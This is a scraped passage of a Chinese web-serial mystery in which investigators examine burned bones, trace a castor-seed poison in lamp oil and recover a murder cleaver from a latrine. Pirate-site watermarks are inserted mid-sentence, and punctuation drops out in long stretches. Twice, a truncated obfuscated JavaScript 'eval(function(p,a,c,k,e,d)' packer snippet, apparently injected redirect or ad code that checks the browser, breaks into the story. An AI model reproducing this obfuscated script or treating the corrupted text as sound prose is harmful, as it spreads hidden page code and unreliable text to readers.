裴晏跟她一路行至后堂,便见堂内两张长案,其中一张摆着袁焱的遗体,羽箭已取下,如今遗体上罩着一张白布,另一侧的长案上置棉席一张,其上摆着大大小小百多块灰白骨渣,皆是从浴房灶膛内刨出来清理干净的。 几人站在案前,姜离挽起袖子毫不避讳地拿起大块儿的碎骨细看,宁珏在旁唇角抖动两下,道:“这些你不是看过了?怎么这会儿又看,你个姑娘家,真就一点儿不怕?” 裴晏也道:“可是发现了什么不妥?” 姜离目光落在指间碎骨上,“没有发现什么不妥,只是我忽然觉得有些奇怪——” 她看向裴晏,道:“东方嘉树和魏青杨,一个是被乱石砸死,一个是被水车铰断双腿而死,袁焱呢,则是被射中双目而死,这些都曾是他们折磨范长佑的法子,可付怀瑾呢?事到如今,我们只知道他被分尸焚尸,可致死的死因还未解。” 裴晏闻言眸色微深,宁珏不禁道:“这还需要知道死因吗?人肯定是死之后才分尸,不是发现了一把匕首吗?那匕首便是凶器,付怀瑾应是先被刺死,而后凶手将其带出学舍,再找一个偏僻之地分尸,最后丢入火灶之中焚烧,如此毁尸灭迹。” 姜离忍不住白了宁珏一眼,“真是答非所问,按照其他三人的死法,凶手并不会刻意毁尸灭迹,相反,他似乎乐意让大家知道这三人怎么死的,届时,知道范长佑死亡内情之人定会恐惧,他谋害付怀瑾之时,只需要让付怀瑾的尸体惨烈地出现在学舍之中便可,分尸和焚尸花上的力气不小,难道不会格外费劲吗?” 宁珏被姜离说的不好意思,轻咳一声道:“那你说是因为什么——” “东方嘉树和魏青杨虽死的惨烈,但因凶手作案条件十分充分,最终也没有在现场留下过多痕迹,袁焱之死,凶手则巧置机关,有绝对的不在场证明,唯独付怀瑾有些不一样,他出事地点在学舍之中,若就那般留下他的尸体,极有可能会暴露凶手的某些特点,因此,他必须彻底的 毁尸灭迹。” 裴晏沉沉开口姜离点头道:“所以我想知道凶手到底是为了掩藏什么。” 她说着又继续看起碎骨来宁珏看看裴晏 裴晏道:“我已再问过林牧之和付宗源林牧之道当初四人以付怀瑾为首付宗源则不承认当年是付怀瑾指使按理范家人也无法确认主犯为何人。” 姜离不置可否道:“无碍我先看看——” 裴晏见状方道:“你查验便是我先去核查其他线索。” 姜离应是裴晏随即大步而出宁珏盯着姜离看了片刻眼底光彩愈甚见姜离专心致志看也不看自己便也悄无声息退了出去。 到了外间他一脸感叹的凑到裴晏身边“师兄薛泠也实在奇怪你可见过她这样的女子?在江湖行医难道便半点儿不怕死人了吗?” 裴晏核对名册的手一顿后又对九思道:“先按这上面的名单核对脚印和不在场证明看看有哪些人与之匹配——” 九思领命而去裴晏这才看向宁珏“此言何意?” 宁珏嘿笑一声“随便问问嘛——” 裴晏朝门外看了一眼“如今他父亲和弟弟皆在书院之中想来你也不会给她带来麻烦。” 宁珏一听忙道:“那是自然给小殿下看病的事不会让第四人知道!” 言毕他又愁眉苦脸起来像在为何事焦灼裴晏看在眼里却一字也不多问先转身朝外头学舍楼下行去。 宁珏慢吞吞跟在后身边赤霄看不下去道:“公子您这上山到底为了何事?这案子一日查不清楚您便不日不回长安?” 宁珏轻啧道“急什么?没见麟州也有邪教?如今这可是我分内之事!” 赤霄闻言欲言又止“您可别忘了娘娘的叮嘱。” 宁珏微愣一瞬很快打起精神拍了拍胸口“放心我便是忘了自己是谁也不会忘记翊儿的血仇……”- 后堂之中怀夕见姜离把一块块碎骨整整齐齐分开摆成两片不解道:“姑娘到底在找什么?这骨头上难不成会留下凶器的痕迹?” 骨渣多 为指宽碎块甚至难辨其部位可但凡断口稍微齐整些的姜离便单独摆在一处如此花费了小半个时辰已选出来二十多块。 她幽幽道:“凶器痕迹是其一其二我在想凶手定要焚尸是否还有别的说法会否是想掩藏尸体上某些特殊痕迹——” 怀夕叹道:“可如今别说皮肉了连骨头都化了不少又碎成这般如何看的出来何处是何处?” 姜离眉紧拧“凶手能设下机关足见其敏锐能下那后山山洞足见其身手利落这样一个人悄无声息地刺杀了付怀瑾并把尸体带出了学舍还分尸焚尸成功而二十八那天晚上山上大雨怎样一个人可以毫无声息地离开又回来呢?” 怀夕道:“会不会是那些杂役?比如单独住在前门门房的门夫或者歇在车马房的看守?他们摸到了学舍骗付怀瑾开门然后掳人分尸?” 姜离听得摇头“那他便是在赌赌所有人都不会被大雨吵醒按凶手杀袁焱的筹划他不可能如此莽撞而他此前谋害东方嘉树和魏青杨也没有留下任何踪迹更见此人十分缜密且——” 说至此姜离忽地微愣她定定看着掌心躺着的一小片白骨那白骨一端碎裂另一端的断口却十分整齐很快她又在桌角那片碎骨之中找寻没多时捻起一块儿碎骨将两快骨头放在眼前比对起来。 怀夕凑过来看“这两块骨头怎么了?” 姜离迟疑道“看这模样很像是头骨——” 怀夕纳闷“头骨怎么了?” 姜离看着那两片头骨道:“浴房的灶孔不小死者的人头应能塞入但看这断口明显凶手连死者人头都劈分过人头骨极硬这可不简单。” 姜离语气平平地说这话直令怀夕忍不住打了个寒噤 姜离想了想只觉“烧不化”有些道理遂放下两片碎骨又看起别的骨渣来如此前后查验了大半个时辰只等阴云散去天边一抹金辉漏出她方才直起发酸的腰身“奇怪了……” “姑娘可在?该用早膳了姑娘——” 姜离还待再验张 穗儿的声音却在外堂响了起来姜离只好拍拍手“先去用膳。” 待到前堂张穗儿道:“姑娘回幽篁馆早膳马上送来。” 姜离闻言忙道“不必去幽篁馆去膳堂便是方便。” 张穗儿见状只好作罢几人便一起往厨房院行去刚走到半路便见葛宏带着贺炳志几人把留在校场的箱笼搬了回来正往学舍一楼最北面的屋子安放江麒最为瘦弱只抱着遮雨防水的油布走在最后—— 姜离忽然想起一事上前去道:“葛教头?” 葛宏闻声回头“薛姑娘?” 姜离看着江麒手中油布问道:“前日袁焱出事之时葛教头说少了一块儿油布那油布去了何处?” 葛宏叹道:“也不知是我记错了还是怎么了本来有六大块儿那天晚上用的时候只剩下了五大块儿那一块儿谁也不知去了何处。” 姜离不禁道:“油布放在何处?” 葛宏道:“放在厨房后面的杂物房里的江麒交给我罢你们去用早膳。” 葛宏接过江麒手中油布待几个学子先走一步后才往厨房院去姜离与他一路同行等到了院门口便见十安几人正在给厨房众人比对脚印。 因刚比了龚嫂的她一脸惶恐道:“这可不管我的事啊我昨天晚上用罐子打水来回跑了好几趟呢他们都看到的——” 一旁云嫂也更为惶恐道:“我昨夜也是一起的来来回回跑了□□趟呢这脚印虽相差无几可真的不是我……” 龚叔见状赞同道:“是啊是啊我和老齐是打水的她们都在帮忙没有谁离开太久过救火都来不及哪有功夫害人呢?” 九思安抚道:“你们不必害怕这只是按照惯例比对有人证便无嫌疑。” 如此一说龚嫂几人才松了口气这时裴晏大步从厨房中出来问道:“昨日查问时龚叔说年后买回来的柴刀共有五把 说全网首发无弹窗免费阅读qiexs⒓(请来企鹅小 说 看最新章节 完整章节)可适才齐先生说买回来的柴刀共有六把龚叔你来与齐先生对一对看看到底出了什么岔子?” 龚叔闻言面色一变“怎会如此?” 姜离闻言挑了挑眉与葛宏一道往厨房之后走去刚进厨房葛宏望着锅灶上剩下的早膳道:“终于做到辣灌肺了可得给我留一 碗烫的! 龚嫂忙道:“葛教头放心,少不了你的! 姜离自锅灶上一扫而过,穿过厨房后门进了东面的小院,便见齐济昌和方青晔都站在杂物房外,齐济昌手中拿着一份账单道:“老龚,你来看,年后采买的账单在此,这上面清清楚楚写着柴刀六把,怎可能是五把? 龚叔拧眉近前,“不可能啊,当时搬来时我数过就是五把,不可能有错,如今才两月过去,新的旧的都在屋子里,我昨日还清点过! 齐济昌无奈,“可这账目不会错,银钱也都花出去了,总不是我自己昧了银钱…… 二人核对不上数目,齐济昌一把年纪,面上一时青白交加。 方青晔无奈道:“每年出了正月十五,书院便要下山采买一整年的用度,这些杂物更是一次买个够,当初是齐先生下山采买,回来的时候拉了五大牛车上山,卸货之时这些东西没有核对清楚,但齐先生做账素来仔细,不可能有错,厨房这边,也极少出岔子,如今这对不上,只怕…… “只怕在卸货时,新买的柴刀便失窃了。 裴晏下了论断,在场之人皆是一惊,裴晏又看向学舍方向,“凶手谋划已久,提前藏下凶器也极有可能,付怀瑾是被分尸,可至今没有找到分尸的凶器,这本就古怪,行了,继续核对今日的线索—— 姜离心间微沉,见大理寺诸人还要忙碌,便自顾自去饭堂用膳。 一进膳堂,便见贺炳志四人坐在一起,江麒和陶景华二人看着眼前的灌肺汤都是一副食不下咽之状,再看向不远处,学子们三两落座,皆是满脸恹恹之态。 张穗儿为姜离和怀夕捧来早膳,又低声道:“自从大家知道付怀瑾的尸体是在浴房锅灶之中烧的,这两日厨房的饭菜总是剩下不少。 话虽如此,张穗儿和姜离二人坐在一起,却是利落地用起汤食来,怀夕见他一个小孩子半点不忌讳,称奇道:“你不觉害怕? 张穗儿吸溜一口热汤道:“姑娘有所不知,这灌肺汤是西南一带的早膳,辛辣温补,滋味极足,老先生那里的饮食因在病中,日日都十分清淡,我就念着这一口呢。 怀夕不禁道:“书院的早膳倒是丰足。 张穗儿道:“这是老先生的意思,说书院的学 子南北皆有得顾全众人口味因此龚嫂她们费了不少功夫学做菜呢。” 姜离不怕辛辣但如今案子沉沉压在她心头她用膳的兴致也不高利落用了半碗汤食之后姜离先往林牧之厢房而去。 到了林牧之住处他正痛得满头冷汗姜离为他请脉又查看了断腿伤势安抚道:“如今没有别的法子止痛林先生只能忍耐一二。” 林牧之哑声道:“在下能捡回一条性命已是拜姑娘之恩在下知足。” 姜离一默道:“我来是想问问林先生当初范长佑出事之时他身上可还有别的印痕?亦或者他身上可有特殊的骨伤?” 林牧之有些不解“印痕?彼时他面上被刻字尸体发现之上面目腐败肿胀几乎认不出人形眼睛也伤的极重至于骨伤只有双腿——” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一听虞梓谦和薛湛都在,姜离也往前走了两步,便见五六人挤在二楼外廊上,虞梓谦高高站在木桌上,正拿了长竹竿往屋檐之下捣弄,地上几人喊叫不停,姜离依稀听到了“中毒”二字。 她秀眉微扬往学舍方向来,到了楼下,便听楼上语声更甚。 “死了更好,有什么好查问的——” “这东西不知偷吃了什么,好端端死了,你能放心?万一偷吃了你们谁的点心,你们的点心又被下了毒呢?” “少胡说了!我们和付怀瑾他们可不同!” “多事之秋,莫要胡言。” 几人正说着,姜离快步上了二楼,见几人聚在一起,问道:“出了何事?” 此声一出,几人忙转过身来,见是她来了,薛湛一脸嫌恶道:“阿姐,没什么,就是一只死老鼠罢了,适才我们闻到这附近有臭味,四处看了半晌,发现是在这屋檐上,就在这檐椽和坐斗缝里卡着,是只老鼠,死了应该有几日了,都发臭了。” 这是在二楼北面廊道,薛湛指的缝隙,正在虞梓谦房门上首,他东面住着薛湛,西面则是袁焱的房间,几人脚边廊道上,正躺着一只巴掌大的棕黑老鼠,那老鼠口鼻处已开腐烂,离了三尺远,连姜离都闻到一股子臭味。 虞梓谦有些不好意思,“薛姑娘不必管,我们处置了就行了,这顶板上放过鼠药,只怕是吃了鼠药而亡,月前我们便遇见过这类事。” 姜离不退反近前,仔细往那死老鼠身上看去,忽见其长耳毛发之上沾了一抹棕褐色之物,若是别的污渍倒也罢了,那污渍虽是干结,却又透着亮光,令姜离觉得古怪。 她不禁蹲下身来,又掏出丝帕往那死鼠耳朵上拈去—— “阿姐,你做什么!” 几位贵公子倒吸一口凉气,薛湛惊讶之后,更是一脸嫌弃地后退半步,“阿姐你,这等腌物你也……” 其他人面面相觑,看着姜离的背影,表情也纷呈起来。 虞梓谦犹豫一瞬问:“薛姑娘可是觉得哪里不对?” 姜离已将那污渍捻弄下来,见丝帕上除了污渍还沁出了一抹油光,她眉头顿时拧紧,再仔细嗅了嗅那污物,她愈发觉得怪异,便看向几人道,“谁房中有净水?” 其他人犹豫不语,虞梓谦立刻道:“我房中有。” “请虞公子倒小半盏来——” 姜离话落,虞梓谦立刻进屋,不多时捧着个茶碗走了出来,这是一方白瓷茶盏,里头正盛着少许清水,姜离见之迟疑道:“这之后公子的茶碗只怕不能饮茶了。” 虞梓谦忙道:“不碍事,姑娘请用便是。” 姜离见状,小心翼翼地将丝帕上的污物放入了茶碗之中,那污物芝麻粒大小,等落入清水之中,水上立刻飘起了一丝油花。 姜离眉头越皱越紧,薛湛看看身边几人,面上挂不住道:“阿姐这到底是在做什么?他们说你在帮裴少卿验尸,难不成死鼠你也要验?” 姜离正为这污渍结块发愁,未想到薛湛如此多嘴,她眉梢一竖,面无表情看向薛湛,薛湛被她神色一慑,结巴道:“我、我是说此物不洁……” 姜离一边盯着薛湛,一边轻摇茶盏,不多时,那块儿污渍被水泡开,其中一小片儿棕褐色薄皮也随之舒展开来,虽只有针头大小,但其上棕色与褐色的纹路却十分分明。 姜离定睛细看着,越看面色越是黑沉,很快,她抬头看向发现死鼠之地,不多时,又看向虞梓谦门头,众人见状纷纷退开两步,便见她又看向袁焱门头。 她视线来回片刻,又疾步往袁焱房中走去,守着的武卫不阻挡她,却将薛湛等人拦了住,不得已,薛湛等人只能挤在门外看她。 便见姜离进屋后,直奔书案与柜头上的几盏油灯,还未等众人看明白她在做什么,便听她凛声道:“快,去请裴少卿来——” 作者有话要说 我来啦~ 继续求营养液~ 第 161 章 放血死法 第161章放血死法 裴晏和宁珏匆匆赶来时,薛湛几人还聚在房门之外,他扫过地上的死鼠,大步进门问道,“发现了什么?” 姜离正盯着眼前三盏油灯出神,闻言道:“适才薛湛他们在门外的房檐缝隙之中发现了一只死鼠,我来看时,见那死鼠身上沾了些污渍,还有些油星,我将那污渍除下用水化开,便得了此物——” 她拿过白瓷茶盏,便见污渍泡开,针头大的薄皮愈发明显。 裴晏拧眉道:“这是何物?” “如果没猜错的话,那点儿薄皮是蓖麻籽皮。” 姜离语声发沉,不等二人发问,她又道:“生蓖麻籽常被用在麻沸散和迷香之中,用后会使人昏昏欲睡,意识不清,蓖麻整株都有剧毒,尤其汁液与生果实,通常蓖麻籽要炒熟方可入药——” 姜离答话完,又看向门外地上的死老鼠,“这死老鼠至少死了三四日,尸体已经开始腐烂发臭,他身上的油星,当是灯油,而灯油之中多半混入了生蓖麻籽制成的汁液,这才中了毒。” 她又指向门口,“死鼠尸体在隔壁虞公子和薛湛门头之间,但未听说他们这几日有何时昏昏欲睡过,反倒是袁焱的证词令我想起一处古怪。” 裴晏认真地望着姜离,姜离定声道:“若我没记错的话,二十八那天晚上袁焱在雷雨之后没多久先是被吵醒,吵醒后拥着锦被辗转反侧了片刻,后来他说不知怎么就睡着了,当是太困了,但假如并非他太困,而是灯油中被下了毒呢?当日其他学子,几乎没有一觉到天亮的,唯独他再未醒来,他虽说迷迷糊糊了一阵,可若是中了蓖麻籽之毒,便尤其会意识恍惚不分梦醒……” 裴晏盯着油灯,“灯油下毒,他屋内有三盏油灯,两盏在书案,一盏在床头,如今可能发现灯盏上的蓖麻籽痕迹?” 姜离沉沉摇头,“我检查过了,没有痕迹,当日的灯油已经燃烬,灯油换新之后,那毒物便几乎不剩了——” “那毒物是下在哪里呢?”宁珏迷惑起来,“若下在书案灯盏之中,他夜里温书时,岂不是刚点了灯就要昏昏欲睡?” 姜离颔首,“不错,因此极可能是下在床头的灯盏之中。” 宁珏若有所思 “下在床头灯盏里那必定是与他关系亲近之人才有机会了。” 裴晏盯着屋内布局道:“凶手早已做好了二十八日夜里杀人的打算便提前下了毒让最可能听见动静的袁焱陷入昏睡但即便如此他将付怀瑾带出学舍还是动静不小仍难保证其他人毫无所觉——” 姜离颔首“不错凶手还有别的手法我们尚未破解。” 裴晏这时道:“昨夜的名单我们已经核查完了在厨房这一侧打水救火的有三十人对比脚印后有九人的脚印与竹林里留下的十分相似这其中也包括龚嫂和云嫂此外还有药房的何叔和北门的门夫汪大成学生之中有五人其中便有胡修文和柳元嘉他们之中并无能开三石弓之人——” 姜离眉头紧皱起来“怎会如此?” 裴晏道:“事到如今只有一种可能书院内的凶手奈何合伙作案 宁珏立刻道:“说不定还有三个人!” 姜离摇头“付宗源和林牧之都见过范长佑的叔父不可能是他来极有可能是范长佑的父亲和堂兄——” 说至此姜离又看向裴晏道:“东方嘉树二人的案子就一点儿线索也无?” 凶手为同一人那此前两命案的线索也当能在此案通用。 裴晏略作回忆道:“东方嘉树是在半路被劫走尸体于三日之后被发现案发现场和被劫走的路上都无明显线索当地官府查了两月唯一的疑点是在案发前半月书院所在的街上来了一对母子做买卖案发之后那对母子消逝无踪了——” 微微一顿他又道:“魏青杨死在自家的猎场之中当时正处深秋多雨之时山上的痕迹被冲散也无明显线索官府走访附近山上山下的农户说是在事发前几日曾看到有上山打猎的猎户和上山挖草药的少年但那山上药草飞禽丰足这样的人不少官府走访了两个月也没有找到更多的目击人证。” “母子?”宁珏咂舌“范长佑的堂兄都多大了怎会有母子?还有那猎户之类的说法更是没有指向性当地衙门真不知怎么办案的!” 裴晏颔首道:“正因如此 那两桩命案皆成了悬案。” 见姜离愁眉不展,裴晏道:“既有二人行凶,那昨夜得出的名单之中必有其同伙,眼下还是按照名单继续核查,如今又得了灯盏的线索,仍从找二十八那日的目击者入手。” 姜离颔首,“那蓖麻籽之毒,我去药房走一趟。” 裴晏应好,先命人查问隔壁的虞梓谦几人,姜离则看一眼几盏油灯转身走了出来。 她一边走一边看头顶房檐,见斗拱飞椽交杂错落,再想到虞梓谦说的,此前也有死鼠出现,不由怀疑这高阔屋顶中只怕还藏有别的死老鼠,一时心生膈应,加快脚步下了楼,又直奔药房而去。- “蓖麻籽?”何叔闻言有些意外,“姑娘找这个做什么?此物后山西坡之下长了不少呢,我每年都采好些回来——” 何叔说着拉开抽屉拿出一包炒熟的蓖麻籽,“姑娘请看。” 姜离莞然,“那您这里可有生的蓖麻籽?” 何叔笑起来,“那自然没有的,野蓖麻如今刚开始结果,还未成熟呢,至少得等下个月才能采摘,何况生的有毒,但凡懂些药理的都知道。” 姜离心中了然,只好先告辞离开药房。 出得药房院门,怀夕也发愁道:“姑娘,那一定是凶手自己采摘的了?” 姜离颔首,“他连那山洞都发现了,自——” 话音刚落,便见青石砖小道上,云嫂和龚嫂迎面走了过来,瞧见姜离二人皆是一愣,龚嫂性情热忱些,连忙笑道:“姑娘怎么在此?” 姜离道:“去见何叔问了些事情,你们这是——” 龚嫂看一眼云嫂,叹道:“姑娘有所不知,我和云嫂一身的老毛病了,我是膝盖痛,云嫂是腰痛,昨夜不是救火吗?我二人端着木盆罐子来回跑了好几趟,今日起来,我这膝头便痛得针扎一般,云嫂是腰痛的直不起来,这不,早膳收拾妥当了,我们来老何这里要点儿草药膏贴贴——” 龚嫂说着,右腿以一个不自然的姿势虚弯着,云嫂则佝偻着背脊,显然二人皆是痛极,姜离见状便道:“你们若是不嫌弃,我给你们瞧瞧?” 龚嫂大喜过往,“当真?那可真是麻烦姑娘了!都说姑娘是长安城名医,若得姑娘看,那可真是我们的福分。” 云嫂面上赔着 笑,也连忙应是。 姜离便转身再回药房,何叔听闻来由也不禁十分感激,“她们都是老毛病了,我就是个半吊子土大夫,那些药膏都是学别人的方子,自比不上姑娘。 药房内有张坐榻,姜离请二人落座,请脉之后,先后为二人检查膝盖与腰,一看之下,果然都是陈年病根,她又问何叔借来银针,各自扎了数针之后,又找来笔墨重新写方子,“龚嫂膝盖关节已有红肿,扪之有热感,压痛明显,当是皮下结节,又观舌质红润,苔黄稍腻,脉滑数,当是风热痹,治以疏风清热,利湿除痹—— 姜离一边说一边写方子,很快便有十味药材跃然纸上。 可待检查之时,她又看着其中一味药皱起眉头,稍作思忖改了一改,“这味‘威灵仙’不易得,替换成桑枝三钱,凉水煎服,每日一次,服药七日之后关节去肿,疼痛减轻,半月之后当可痊愈个七八分,七八分还不够,最好去苍术加黄柏五钱,继续服用,当可保你两年之内不再犯。 龚嫂感激不已,“太好了,我这膝盖每月都要发作两次,到了冬日更是难熬,若真能两年不发,那姑娘可谓是我再世恩人! 龚嫂拿着方子不住道谢,姜离又取来一张纸给云嫂写方子,“云嫂腰痛多半已有十年以上,属气血留滞,经络受阻,肝肾不足;我治以活血通络,调补肝肾。 她写下四味药材,又道:“用‘地龙散’的方子稍作调整,加麻黄,黄柏,元胡与乌药,水煎服,每日一次,需在用膳之前服下。 云嫂应好,姜离想了想接着道:“你的病灶严重,长此以往,只怕要卧病在床了,除了服用的汤液之外我再开两道敷药方,你择其一用。 她如此周到,云嫂也感激道:“有劳姑娘了,姑娘真是菩萨心肠。 姜离取来新纸,“这第一方,取当归、防风、牛膝、桂枝、赤芍、羌活、五加皮、威灵仙与艾叶,将所有药材装入布袋,以水煎煮,温热后直接将布袋敷于患处,每日一次。第二方,取吴茱萸、黑附子、肉桂、干姜、川穹、苍术、独活、羌活、威灵仙、土元、全虫、红花、皂角,研成细末,用生姜汁或酒调成膏状①,敷于患处—— 方子写完,姜离蹙眉道:“这里头几味药都不易得,但你的病根太重,非得用不可 何叔你这里威灵仙、红花、全虫可足?” 何叔一听道:“全虫不多威灵仙与红花都没了。” 姜离一时头疼起来“那只能换秦艽、海风藤与赤芍了 云嫂哪里会怕麻烦接过药方后几乎对姜离感恩戴德。 看完了病姜离便先告辞一步出来可待出了院子她脚步又是微滞忍不住回头看了一眼怀夕迷惑道:“怎么了姑娘?” 姜离感叹道:“奇了她们二人的方子都得用威灵仙。” 见怀夕不解姜离只得将当年为裴晏疗伤之事道来怀夕听得惊讶“意思那山崖之上生得有威灵仙?那如今去采可来得及吗?” 姜离摇头“山崖下太险若只缺那一味药去冒险尚且值得如今缺的多用药配伍上便不讲求那一味药了当年裴晏是非那一味药不可。” 怀夕了然也只好作罢。- 姜离有心验骨便又回了讲堂之中然而百多块骸骨查验完她心底疑问仍是未解苦恼片刻后她出讲堂往浴房而去—— 自发现付怀瑾的尸骨在浴房灶膛之中焚烧这两日浴房外皆有武卫守着姜离进门后先看了一眼锅灶上方的腊肉紧接着她又蹲下身子往灶膛中看。 为了刨出所有尸骨五口大灶的灶膛已被挖的干干净净便见那灶膛口半尺见方灶膛内中空更是不小姜离愈发奇怪“这样大的灶孔头颅、胸腹这些地方皆可送入虽有可能烧不尽可分尸的时间越长越容易露出破绽书院内四处皆有人凶手是怎样的心态一点点把尸体分碎?” 怀夕道:“若是两人一起合伙分尸岂不简单?” “可丢失的柴刀只有一把。” 姜离自顾自说完忽然一愣道:“那柴刀是在正月末丢失的……” 她忽然起身出浴房目光直直落在学舍一楼闹过虫害的屋子“虫害是在正月柴刀也是在正月凶手从那时开始便为谋害人做准备而他们做了这么多很明显针对的便是付怀瑾和袁焱他们……” “龚叔!能否给我点一支火把!再给我一些火炭灰!” 姜离正在廊下喃喃自语忽然西面厨房院内响起了 胡修文的苦喊声姜离眉头一动快步前去问道:“胡公子?要火把做什么?” 胡修文见是姜离来连忙拱手做礼“薛姑娘让姑娘笑话了是我们那茅房那茅房里这几日蚊虫腐虫极多如今去茅厕好似渡劫真是有伤斯文——” 说这些腌臜之事胡修文自己先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜离捂着胸口,一转头,便见茅房屋顶之上也有不少蚊虫飞绕,与她第一次来茅房周围查看之时大不一样,她惊声道:“蚊蝇从卵生至羽化至少要五六日时间,这些蚊虫,是在今日忽然爆发出来的——” 胡修文颔首,“对呀,我刚才过来便听见蚊蝇声极大,昨日好像都没有这般动静。” 姜离眉心拧成“川”字,“不可能平白无故出这样多蚊虫,一定是有什么极易腐败之物被丢入了茅房之中——” 怀夕反应疾快,“难道是尸块?可不对啊,尸块都被烧了,不然,不然奴婢去看看?” 怀夕转身要走,姜离一把将她拉住,又对龚叔道:“烦请您去请裴少卿来。” 想到适才所见,她胃里仍然不适,龚叔应是而去,胡修文与怀夕面面相觑一瞬,忍不住道:“尸、尸块,这应该不可能吧,您别吓我……” 姜离摇头,“应该不是,凶手没必要分开两处。” 她面色有些发白,这会儿定了定神,温和道:“没事了,你先去忙吧,许是我多想了也不一定,我在此等裴少卿来便可——” 胡修文尴尬地笑了笑,连忙快步离去。 他们一走,姜离温和的表情迅速地冷了下来,怀夕掩着口鼻道:“姑娘,会不会只是因为这处茅房打扫少了,太脏污了而已?” 姜离摇头,“不,我可以肯定茅房内被丢了什么——” “可也不是尸体啊?凶手没道理分开丢尸块。” 姜离点头,“不错,不是尸块,尸块可以被烧掉,沾血的衣物也可以被烧掉,凶手费力地丢进茅房,一定是火烧不好处置——” 怀夕云里雾里,耳边蚊虫嗡嗡声更令人不适,幸好裴晏和宁珏来的很快,裴晏道:“说这里发现了许多蚊虫?” 姜离侧了侧下巴,“你进去瞧瞧,这些蚊虫腐虫来的古怪,我怀疑粪沼之中可能被丢了什么污物。” 裴晏和宁珏快步而入,下一刻,宁珏捂 着嘴巴飞奔而出,只跑去远处花圃旁“哇哇”地干呕起来,茅房之中,裴晏沉声道:“来人——”- 九思自从跟着裴晏进了大理寺,什么苦活累活都干过,可他没想到有一天还要打捞粪池,就在他叫苦不迭之时,有武卫轻呼起来—— “大人!捞到了!” “好像是一把刀,一把柴刀——” 柴刀被冲洗干净放在众人眼前之时,看着那一道道卷曲的豁口,所有人都不寒而栗,宁珏呕了半晌,此刻嫌弃地捏着鼻子道:“这就是那把丢了的柴刀?凶手把沾血的柴刀扔进了茅厕之中,所以生了这么多蚊蝇?呕……” 宁珏没见过这场面,在场众人也都极力地忍着恶心,不多时得了消息的方青晔和齐济昌赶来,齐济昌一看便道:“没错!正月采买的柴刀就是这般式样!” 虽得了齐济昌肯定,但裴晏目光落在茅房的屋顶上道:“虽然凶器找到了,可只是一把沾血柴刀应当不至如此,必定还有其他东西未发现。” 九思摊手道:“都捞了一遍,可惜已腐化完了——” 方青晔也背脊发凉道:“所以,凶手当真是用此柴刀分的尸体,可不是说凶手是按照范长佑的死法报仇吗?范长佑没有被分尸啊,凶手如此血腥——” 他感叹未完,一旁的裴晏和姜离面色倏地一变。 二人几乎异口同声开了口—— “放血!” “放血!” 作者有话要说 我来啦~求求营养液~ 这个案子快结束辽~ 希望没有宝贝在吃饭的时候看这章QAQ 第 162 章 勘破谜团 第162章勘破谜团 “——放血?! 宁珏下巴快掉在地上,“这意思是说,凶手在杀付怀瑾之前先放了他的血?如此给范长佑报仇? 宁珏此言落定,众人面上都是一白,他又忍不住道:“或者,他本就是被这法子杀死的?他是被如此折磨死的? 付怀瑾如今尸骨被焚,真正的死法和死因已难破解,宁珏怀疑不无道理。 裴晏道:“确有此可能—— 宁珏只觉背脊阵阵发冷,“范长佑被如此谋害,凶手这般报仇倒也不难理解,先放血,后分尸,再焚尸,这是把付怀瑾恨到了极处,不是说袁焱三人都以付怀瑾为尊吗?说不定当时就是付怀瑾出的主意! 裴晏未接此话,只道:“付怀瑾死在二十八夜里,当天夜里凶手完成了杀人分尸,不仅分尸体,还将付怀瑾之血倒入了茅厕之中,这期间所用器具不会少,凶手如何提前准备出这些东西? 姜离道:“成年男子的全身血液,若用大海碗装,至少也得装上六七海碗,若用桶装,至少也有半桶,这么多人血,所用器物一定会留下痕迹。 “将这间茅房封起来!裴晏一声令下,抬步便往厨房走。 姜离和宁珏连忙跟上,待到了厨房,便见龚叔几人面面相觑等着,裴晏问道:“近日厨房可丢过罐子水桶之类的物件? 众人面露惶恐,龚叔道:“没丢过什么啊,我们日日做饭,若丢了什么很快便能发觉。 龚嫂也在旁道:“是啊,厨房也就这些东西,我们日日用,不会记错。 鹅小说的域名qiexs◢(请来企 鹅小说 看最新章节 完整章节) 裴晏目光似剑在厨房内一扫而过,又穿过厨房往后院走去,待进了杂物房,裴晏又问:“这屋子里的东西也没有丢过? 龚叔快步而来,仔细翻看之后道:“没丢,这些大件儿都还能用,我们记得数目。 “去浴房看看—— 裴晏抬步而走,龚叔连忙又跟往浴房,浴房内不仅有许多水桶,在后堂沐浴之地,还有许多木盆木桶可用,二人一路入得后堂,龚叔仔细数过所有的盆桶,惶然道:“都在,没有丢过—— 姜离也一路跟了来,与裴晏一同检查屋内木制物件,然而一圈看完,并未 发现异常待出了浴房门龚叔默了默道:“大人说的罐子水桶那种残缺不全的可算?” 裴晏道:“可还能装水?” 龚叔点头“有的能但只能装半桶。” 裴晏立刻道:“带路——” 龚叔随即又往厨房后的小院走去进了小院一路往南行经由南侧山墙绕去了后檐沟之下裴晏一路跟着刚转过墙角便见后檐沟之下堆放着许多破损的陶罐木桶竹筐有的破损过大再不能用有的则是开口或手柄破损。 裴晏走近探看“此处之物可记得数目?” 龚叔作难起来“这可记不得了这些都是弃用的花房那边有时拿陶罐去培土养花那些朽了的还会被拿去烧柴火这么多年一直往这里堆早记不得数目了不过……最近一次乃是在两个月前两只水桶口子被磕坏了也往这里堆了——” 龚叔说着翻看一番“似是这只……其他的认不出来了。” 扔来的是一对如今龚叔找到的却只有一只虽说放在檐下风吹日晒木桶陶器皆生了不少青苔可近来放置于此的还是不比其他桶盆老旧 龚叔颔首“若没被虫蛀便还能——” 宁珏这时凑上前来“那足够凶手用了!用完之后用柴刀一劈往灶膛之内一烧便又消失的无影无踪了谁也不会知道丢了一只旧桶。” 裴晏面色寒峻姜离此时上前来道:“葛教头说杂物房里还丢过一张油布如今搜遍了书院没发现多余的血迹多半是那油布的功劳。” 